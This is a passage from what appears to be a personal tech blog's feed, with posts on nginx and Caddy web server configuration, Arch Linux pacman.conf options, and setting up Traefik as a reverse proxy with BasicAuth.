<span class="k">add_header</span> <span class="s">Content-Security-Policy</span> <span class="s">&#34;default-src</span> <span class="s">&#39;none&#39;</span><span class="p">;</span> <span class="k">base-uri</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">form-action</span> <span class="s">&#39;none&#39;</span><span class="p">;</span> <span class="k">img-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">script-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">style-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">font-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">worker-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">object-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">media-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">frame-ancestors</span> <span class="s">&#39;none&#39;</span><span class="p">;</span> <span class="k">manifest-src</span> <span class="s">&#39;self&#39;</span><span class="p">;</span> <span class="k">report-uri</span> <span class="s">https://shibumi.report-uri.com/r/d/csp/enforce&#34;</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">Referrer-Policy</span> <span class="s">&#34;strict-origin&#34;</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">Feature-Policy</span> <span class="s">&#34;geolocation</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">midi</span> <span class="s">&#39;none&#39;</span><span class="p">;</span> <span class="k">sync-xhr</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">microphone</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">camera</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">magnetometer</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">gyroscope</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">speaker</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">fullscreen</span> <span class="s">&#39;self&#39;</span><span class="p">;</span><span class="k">payment</span> <span class="s">&#39;none&#39;</span><span class="p">;</span><span class="k">&#34;</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">Expect-CT</span> <span class="s">&#34;max-age=604800&#34;</span><span class="p">;</span>
<span class="k">ssl_stapling</span> <span class="no">on</span><span class="p">;</span>
<span class="k">ssl_stapling_verify</span> <span class="no">on</span><span class="p">;</span>
<span class="k">ssl_trusted_certificate</span> <span class="s">/etc/nginx/isrg-root-ocsp-x1.pem</span><span class="p">;</span>
</code></pre></div><p>The actual website configuration is very verbose, too. I need to configure a redirect for every specific domain for port 80 to 443. Furthermore, I need to explicitly enable <code>http2</code> (quite ironic if you ask me, if you know that <code>http3</code> has been published already). Another problem is setting a directory for the <code>ACME</code> challenges manually (I know that there are modules for nginx for this, but I never really tested it, because I always had the feeling that it&rsquo;s too much hassle). The configuration for the second website is the same, just substitute the server names and directories.</p>
<p><strong>/etc/nginx/conf.d/nullday.de.conf</strong></p>
<div class="highlight"><pre class="chroma"><code class="language-nginx" data-lang="nginx"><span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span>       <span class="mi">80</span><span class="p">;</span>
    <span class="kn">listen</span>	<span class="s">[::]:80</span><span class="p">;</span>
    <span class="kn">server_name</span>  <span class="s">nullday.de</span> <span class="s">kurisu.nullday.de</span> <span class="s">www.nullday.de</span><span class="p">;</span>
    <span class="kn">return</span> <span class="mi">301</span> <span class="s">https://nullday.de</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span>       <span class="mi">443</span> <span class="s">ssl</span> <span class="s">http2</span><span class="p">;</span>
    <span class="kn">listen</span>	<span class="s">[::]:443</span> <span class="s">ssl</span> <span class="s">http2</span><span class="p">;</span>
    <span class="kn">server_name</span>  <span class="s">nullday.de</span> <span class="s">kurisu.nullday.de</span> <span class="s">www.nullday.de</span><span class="p">;</span>
    <span class="kn">server_tokens</span> <span class="no">off</span><span class="p">;</span>
    <span class="kn">root</span> <span class="s">/usr/share/nginx/html/nullday.de/public/</span><span class="p">;</span>
    <span class="kn">location</span> <span class="s">/</span> <span class="p">{</span>
	    <span class="kn">index</span>  <span class="s">index.html</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="kn">location</span> <span class="s">^~</span> <span class="s">/.well-known/acme-challenge/</span> <span class="p">{</span>
    	<span class="kn">default_type</span> <span class="s">&#34;text/plain&#34;</span><span class="p">;</span>
    	<span class="kn">root</span> <span class="s">/usr/share/nginx/html/letsencrypt</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="c1"># Expire rules for static content
</span><span class="c1"></span>
    <span class="c1"># cache.appcache, your document html and data
</span><span class="c1"></span>    <span class="kn">location</span> <span class="p">~</span><span class="sr">*</span> <span class="s">\.(?:manifest|appcache|html?|xml|json)</span>$ <span class="p">{</span>
      <span class="kn">expires</span> <span class="s">-1</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1"># Feed
</span><span class="c1"></span>    <span class="kn">location</span> <span class="p">~</span><span class="sr">*</span> <span class="s">\.(?:rss|atom)</span>$ <span class="p">{</span>
      <span class="kn">expires</span> <span class="s">1h</span><span class="p">;</span>
      <span class="kn">add_header</span> <span class="s">Cache-Control</span> <span class="s">&#34;public&#34;</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1"># Media: images, icons, video, audio, HTC
</span><span class="c1"></span>    <span class="kn">location</span> <span class="p">~</span><span class="sr">*</span> <span class="s">\.(?:jpg|jpeg|gif|png|ico|cur|gz|svg|svgz|mp4|ogg|ogv|webm|htc)</span>$ <span class="p">{</span>
      <span class="kn">expires</span> <span class="s">1M</span><span class="p">;</span>
      <span class="kn">add_header</span> <span class="s">Cache-Control</span> <span class="s">&#34;public&#34;</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1"># CSS and Javascript
</span><span class="c1"></span>    <span class="kn">location</span> <span class="p">~</span><span class="sr">*</span> <span class="s">\.(?:css|js|woff2|woff)</span>$ <span class="p">{</span>
      <span class="kn">expires</span> <span class="s">1y</span><span class="p">;</span>
      <span class="kn">add_header</span> <span class="s">Cache-Control</span> <span class="s">&#34;public&#34;</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="kn">include</span> <span class="s">/etc/nginx/ssl.conf</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>I think you agree with me, that Nginx is a monster regarding sane defaults and supporting state of the art technologies like <code>QUIC</code> or <code>ACME</code>. Therefore I&rsquo;ve decided to switch to Caddy (to be more accurate: the beta of Caddy2). With Caddy I&rsquo;ve been able to shrink the configuration, get support for <code>QUIC</code> and use Caddys internal <code>ACME</code> implementation for renewing my certificates. Let&rsquo;s have a look on the configuration:</p>
<p><strong>/etc/caddy/Caddyfile:</strong></p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="w">
</span><span class="w"></span><span class="c"># This rule matches on www.nullday.de and www.nspawn.org and strips off the www</span><span class="w">
</span><span class="w"></span><span class="c"># part. I need this for Hugo (my static website generator). Otherwise Hugo will</span><span class="w">
</span><span class="w"></span><span class="c"># generate wrong sitemap.xml files. You might ask your self what {http.request.host.labels.1} mean.</span><span class="w">
</span><span class="w"></span><span class="c"># These are templates. This way you can access various internal Caddy variables.</span><span class="w">
</span><span class="w"></span><span class="c"># For example the host name in the incoming HTTP request.</span><span class="w">
</span><span class="w"></span>www.nullday.de<span class="p">,</span><span class="w"> </span>www.nspawn.org<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>redir<span class="w"> </span>*<span class="w"> </span>https<span class="p">:</span>//{http.request.host.labels<span class="m">.1</span>}.{http.request.host.labels<span class="m">.0</span>}{path}<span class="w">
</span><span class="w"></span>}<span class="w">
</span><span class="w">
</span><span class="w">
</span><span class="w"></span><span class="c"># This part is the actual server configuration. I match on my domains nullday.de and nnspawn.org.</span><span class="w">
</span><span class="w"></span><span class="c"># First I activate the file_server for serving static files.</span><span class="w">
</span><span class="w"></span>nullday.de<span class="p">,</span><span class="w"> </span>nspawn.org<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>file_server<span class="w">
</span><span class="w">	</span><span class="c"># Here I use Caddys templates again to set the right path for the website.</span><span class="w">
</span><span class="w">	</span>root<span class="w"> </span>*<span class="w"> </span>/srv/www/{http.request.host}/public/<span class="w">
</span><span class="w">	</span><span class="c"># And here I set all headers, that Caddy doesn&#39;t set on default.</span><span class="w">
</span><span class="w">	</span><span class="c"># TLS settings are not necessary, because Caddy has strong TLS defaults.</span><span class="w">
</span><span class="w">	</span>headers<span class="w"> </span>{<span class="w">
</span><span class="w">		</span>Strict-Transport-Security<span class="w"> </span><span class="s2">&#34;max-age=31536000; includeSubDomains; preload; always&#34;</span><span class="w">
</span><span class="w">		</span>Public-Key-Pins<span class="w"> </span><span class="s2">&#34;pin-sha256=\&#34;sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis=\&#34;; pin-sha256=\&#34;YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=\&#34;; pin-sha256=\&#34;C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=\&#34;; includeSubdomains; max-age=2629746;&#34;</span><span class="w">
</span><span class="w">		</span>X-Frame-Options<span class="w"> </span><span class="s2">&#34;SAMEORIGIN&#34;</span><span class="w">
</span><span class="w">		</span>X-Content-Type-Options<span class="w"> </span><span class="s2">&#34;nosniff&#34;</span><span class="w">
</span><span class="w">		</span>X-XSS-Protection<span class="w"> </span><span class="s2">&#34;1; mode=block&#34;</span><span class="w">
</span><span class="w">		</span>Content-Security-Policy<span class="w"> </span><span class="s2">&#34;default-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;none&#39;; img-src &#39;self&#39;; script-src &#39;self&#39;; style-src &#39;self&#39;; font-src &#39;self&#39;; worker-src &#39;self&#39;; object-src &#39;self&#39;; media-src &#39;self&#39;; frame-ancestors &#39;none&#39;; manifest-src &#39;self&#39;&#34;</span><span class="w">
</span><span class="w">		</span>Referrer-Policy<span class="w"> </span><span class="s2">&#34;strict-origin&#34;</span><span class="w">
</span><span class="w">		</span>Feature-Policy<span class="w"> </span><span class="s2">&#34;geolocation &#39;none&#39;;midi &#39;none&#39;; sync-xhr &#39;none&#39;;microphone &#39;none&#39;;camera &#39;none&#39;;magnetometer &#39;none&#39;;gyroscope &#39;none&#39;;speaker &#39;none&#39;;fullscreen &#39;self&#39;;payment &#39;none&#39;;&#34;</span><span class="w">
</span><span class="w">		</span>Expect-CT<span class="w"> </span><span class="s2">&#34;max-age=604800&#34;</span><span class="w">
</span><span class="w">	</span>}<span class="w">
</span><span class="w">	</span><span class="c"># Lastly we just enable zstd and gzip compression.</span><span class="w">
</span><span class="w">	</span><span class="c"># Note: zstd compression is not yet supported by browsers.</span><span class="w">
</span><span class="w">	</span><span class="c"># You may ask yourself why I don&#39;t enable brotli.</span><span class="w">
</span><span class="w">	</span><span class="c"># The brotli impementation in caddy performs surprisingly bad.</span><span class="w">
</span><span class="w">	</span><span class="c"># I hope the caddy devs are going to fix this..</span><span class="w">
</span><span class="w">	</span>encode<span class="w"> </span>{<span class="w">
</span><span class="w">		</span>zstd<span class="w">
</span><span class="w">		</span>gzip<span class="w">
</span><span class="w">	</span>}<span class="w">
</span><span class="w"></span>}<span class="w">
</span></code></pre></div>]]></content></item><item><title>My pacman.conf file</title><link>https://shibumi.dev/posts/my-pacman.conf-file/</link><pubDate>Wed, 01 Jan 2020 21:12:09 +0100</pubDate><guid>https://shibumi.dev/posts/my-pacman.conf-file/</guid><description>Many users don&amp;rsquo;t modify their pacman.conf file. Either because they think there is not so much to configure or because they are afraid to break something. In this short article I want to highlight some nice options, that make my daily use with Arch Linux a lot easier.
First of all, here is my pacman.conf without comments:
[options] HoldPkg = pacman glibc Architecture = auto IgnorePkg = Color TotalDownload CheckSpace VerbosePkgLists ILoveCandy SigLevel = Required DatabaseOptional LocalFileSigLevel = Optional [testing] Include = /etc/pacman.</description><content type="html"><![CDATA[<p>Many users don&rsquo;t modify their <strong>pacman.conf</strong> file. Either because they think
there is not so much to configure or because they are afraid to break
something. In this short article I want to highlight some nice options, that
make my daily use with Arch Linux a lot easier.</p>
<p>First of all, here is my <strong>pacman.conf</strong> without comments:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[options]</span>
<span class="na">HoldPkg</span>     <span class="o">=</span> <span class="s">pacman glibc</span>
<span class="na">Architecture</span> <span class="o">=</span> <span class="s">auto</span>
<span class="na">IgnorePkg</span>   <span class="o">=</span>
<span class="na">Color</span>
<span class="na">TotalDownload</span>
<span class="na">CheckSpace</span>
<span class="na">VerbosePkgLists</span>
<span class="na">ILoveCandy</span>
<span class="na">SigLevel</span>    <span class="o">=</span> <span class="s">Required DatabaseOptional</span>
<span class="na">LocalFileSigLevel</span> <span class="o">=</span> <span class="s">Optional</span>

<span class="k">[testing]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>
<span class="na">Usage</span> <span class="o">=</span> <span class="s">Sync Search</span>

<span class="k">[core]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>

<span class="k">[extra]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>

<span class="k">[community-testing]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>
<span class="na">Usage</span> <span class="o">=</span> <span class="s">Sync Search</span>

<span class="k">[community]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>

<span class="k">[multilib-testing]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>
<span class="na">Usage</span> <span class="o">=</span> <span class="s">Sync Search</span>

<span class="k">[multilib]</span>
<span class="na">Include</span> <span class="o">=</span> <span class="s">/etc/pacman.d/mirrorlist</span>
</code></pre></div><p>Most of it should be pretty similar to your <strong>pacman.conf</strong>. Let&rsquo;s start with
the <strong>[options]</strong> sections.  I use the following additional keywords in this
section: <strong>Color</strong>, <strong>TotalDownload</strong>, <strong>CheckSpace</strong>, <strong>VerbosePkgLists</strong> and
<strong>ILoveCandy</strong>. <strong>Color</strong> should be clear, it enables colorized output for
pacman. <strong>TotalDownload</strong> displays more information about downloads and
provides therefore information like the ETA, a download rate and more.
<strong>CheckSpace</strong> checks your system for enough space, before trying to install
packages, <strong>VerbosePkgLists</strong> gives you more information about packages (like
the repository where they come from) and <strong>ILoveCandy</strong> enables the famous
pacman videogame easteregg. If you haven&rsquo;t turned it on yet, you probably
should :-)</p>
<p>So much about my global custom options. Let&rsquo;s talk about repositories. You
might have seen already that I have enabled all testing repositories. Shouldn&rsquo;t
this break my system? No, because I use the keyword <strong>Usage = Sync Search</strong>. This
restricts the usage of the testing repositories on synchronization and search.
Thus it&rsquo;s possible to install testing packages, without accidently installing
them on <code>pacman -Syu</code>. Instead I am able to just do <code>pacman -U testing/&lt;package name&gt;</code> and I will install a package from testing.</p>
]]></content></item><item><title>Traefik BasicAuth</title><link>https://shibumi.dev/posts/traefik-basicauth/</link><pubDate>Thu, 05 Dec 2019 22:47:59 +0100</pubDate><guid>https://shibumi.dev/posts/traefik-basicauth/</guid><description>In this short blog article we revisit traefik and add password authentication to our reverse proxy example.Password authentication means we use a (user,password) tuple for the login. We don&amp;rsquo;t want to safe our password in clear text, therefore we need to encrypt it.
At this moment, traefik supports three hash algorithms: MD5, SHA1, BCrypt. Two of them are considered to be broken, hence you should use BCrypt:
$ htpasswd -nbB myName myPassword myName:$2y$05$c4WoMPo3SXsafkva.</description><content type="html"><![CDATA[<p>In this short blog article we revisit traefik and add password authentication to our reverse proxy example.Password authentication means we use a (user,password) tuple for the login. We don&rsquo;t want to safe our password in clear text, therefore we need to encrypt it.</p>
<p>At this moment, traefik supports three hash algorithms: MD5, SHA1, BCrypt. Two of them are considered to be broken, hence you should use BCrypt:</p>
<div class="highlight"><pre class="chroma"><code class="language-sh" data-lang="sh">$ htpasswd -nbB myName myPassword
myName:<span class="nv">$2</span>y<span class="nv">$05$c4WoMPo3SXsafkva</span>.HHa6uXQZWr7oboPiC2bT/r7q1BB8I2s0BRqC
</code></pre></div><p>Next you can stick the <code>basicAuth</code> middleware in front of your dashboard router.</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">http</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">routers</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">api-router</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/api`) || PathPrefix(`/dashboard`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>api@internal<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">      </span><span class="k">middlewares</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- dashboard-login<span class="w">
</span><span class="w"></span><span class="k">middlewares</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">dashboard-login</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">basicAuth</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">users</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- <span class="s2">&#34;myName:$2y$05$c4WoMPo3SXsafkva.HHa6uXQZWr7oboPiC2bT/r7q1BB8I2s0BRqC&#34;</span><span class="w">
</span></code></pre></div>]]></content></item><item><title>Traefik as Reverse Proxy</title><link>https://shibumi.dev/posts/traefik-as-reverse-proxy/</link><pubDate>Wed, 06 Nov 2019 17:09:10 +0100</pubDate><guid>https://shibumi.dev/posts/traefik-as-reverse-proxy/</guid><description>A few days ago I had the joy to configure a reverse proxy. My first thoughts went to Nginx or Apache, but I forced myself to destroy the filter bubble and get in touch with some new software. Therefore I had a lookon traefik. traefik is written in Golang and can act as reverse proxy and loadbalancer.
So let&amp;rsquo;s talk about a specific use case. I have the following services that I want to make available behind a reverse proxy:</description><content type="html"><![CDATA[<p><img src="/img/traefik.png" alt="Traefik Reverse Proxy"></p>
<p>A few days ago I had the joy to configure a reverse proxy. My first thoughts went to Nginx or Apache, but I forced myself to destroy the filter bubble and get in touch with some new software. Therefore I had a lookon <code>traefik</code>. <code>traefik</code> is written in Golang and can act as reverse proxy and loadbalancer.</p>
<p>So let&rsquo;s talk about a specific use case. I have the following services that I want to make available behind a reverse proxy:</p>
<ul>
<li>prometheus</li>
<li>grafana</li>
<li>the traefik dashboard and API</li>
</ul>
<p>Furthermore I want to access all these services via a sub path and via HTTPS only, hence I need a HTTP to HTTPS redirect.</p>
<p>Achieving this wasn&rsquo;t so easy. <code>traefik 2.0</code> just got released, the documentation is fresh and thus we are lacking real world examples.</p>
<p>I&rsquo;ve ended up with the following <code>/etc/traefik/traefik.yml</code> configuration:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml">---<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">providers</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">file</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">filename</span><span class="p">:</span><span class="w"> </span>/etc/traefik/traefik.yml<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">log</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">level</span><span class="p">:</span><span class="w"> </span>debug<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">api</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">dashboard</span><span class="p">:</span><span class="w"> </span>True<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">web</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;:80&#34;</span><span class="w">
</span><span class="w">  </span><span class="k">web-secure</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;:443&#34;</span><span class="w">
</span><span class="w">  </span><span class="k">metrics</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;:8082&#34;</span><span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">metrics</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">prometheus</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">entryPoint</span><span class="p">:</span><span class="w"> </span>metrics<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">accessLog</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">http</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">routers</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">common</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;HostRegexp(`{host:.+}`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>noop<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web<span class="w">
</span><span class="w">      </span><span class="k">middlewares</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- https-redirect<span class="w">
</span><span class="w">    </span><span class="k">prometheus-router</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/prometheus`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>prometheus<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">    </span><span class="k">grafana-router</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/grafana`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>grafana<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">    </span><span class="k">api-router</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/api`) || PathPrefix(`/dashboard`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>api@internal<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">  </span><span class="k">middlewares</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">https-redirect</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">redirectScheme</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">scheme</span><span class="p">:</span><span class="w"> </span>https<span class="w">
</span><span class="w">        </span><span class="k">permanent</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w">        </span><span class="k">port</span><span class="p">:</span><span class="w"> </span><span class="m">443</span><span class="w">
</span><span class="w">  </span><span class="k">services</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">prometheus</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">loadBalancer</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">servers</span><span class="p">:</span><span class="w">
</span><span class="w">          </span>- <span class="k">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;http://127.0.0.1:9090/&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">grafana</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">loadBalancer</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">servers</span><span class="p">:</span><span class="w">
</span><span class="w">          </span>- <span class="k">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;http://127.0.0.1:3000/&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">noop</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">loadBalancer</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">servers</span><span class="p">:</span><span class="w">
</span><span class="w">	  </span>- <span class="k">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;http://127.0.0.1/&#34;</span><span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">tls</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">certificates</span><span class="p">:</span><span class="w">
</span><span class="w">    </span>- <span class="k">certFile</span><span class="p">:</span><span class="w"> </span>/etc/traefik/censored.cert<span class="w">
</span><span class="w">      </span><span class="k">keyFile</span><span class="p">:</span><span class="w"> </span>/etc/traefik/censored.key<span class="w">
</span></code></pre></div><p>Let&rsquo;s have a look on it part by part. First we set a <code>provider</code> for the configuration:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">providers</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">file</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">filename</span><span class="p">:</span><span class="w"> </span>/etc/traefik/traefik.yml<span class="w">
</span></code></pre></div><p>A file provider will watch the <code>traefik.yml</code> configuration file and adapt on changes in this file on runtime. Next we set logs for <code>debugging</code> (change this in production) and we enable the <code>traefik</code> dashboard.</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">log</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">level</span><span class="p">:</span><span class="w"> </span>debug<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">api</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">dashboard</span><span class="p">:</span><span class="w"> </span>True<span class="w">
</span></code></pre></div><p>With entrypoints we set the ingress for our reverse proxy. We want to listen on the standard HTTP and HTTPS ports (80 and 443) and on the <code>traefik</code> metrics port 8082. Speaking about metrics we need to enable them as well:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">web</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;:80&#34;</span><span class="w">
</span><span class="w">  </span><span class="k">web-secure</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;:443&#34;</span><span class="w">
</span><span class="w">  </span><span class="k">metrics</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;:8082&#34;</span><span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">metrics</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">prometheus</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">entryPoint</span><span class="p">:</span><span class="w"> </span>metrics<span class="w">
</span></code></pre></div><p>We want to enable access logs, too:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">accessLog</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span></code></pre></div><p>Next we configure the actual infrastructure with <code>traefik</code>. I use inline comments for better understanding:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">http</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="c"># The routers will accept incoming connections and route them to the attached service over a middleware.</span><span class="w">
</span><span class="w">  </span><span class="k">routers</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="c"># The router `common` is our HTTP entrypoint. traefik wants a service here, thus we set a noop service.</span><span class="w">
</span><span class="w">    </span><span class="c"># This noop service will never be called.</span><span class="w">
</span><span class="w">    </span><span class="k">common</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="c"># We match on every hostname</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;HostRegexp(`{host:.+}`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>noop<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web<span class="w">
</span><span class="w">      </span><span class="c"># This middleware redirects the http traffic to the routers who listen on web-secure entrypoints.</span><span class="w">
</span><span class="w">      </span><span class="k">middlewares</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- https-redirect<span class="w">
</span><span class="w">    </span><span class="c"># This router matches on the /prometheus path prefix, redirects traffic to the prometheus server</span><span class="w">
</span><span class="w">    </span><span class="c"># and enables TLS.</span><span class="w">
</span><span class="w">    </span><span class="k">prometheus-router</span><span class="p">:</span><span class="w">
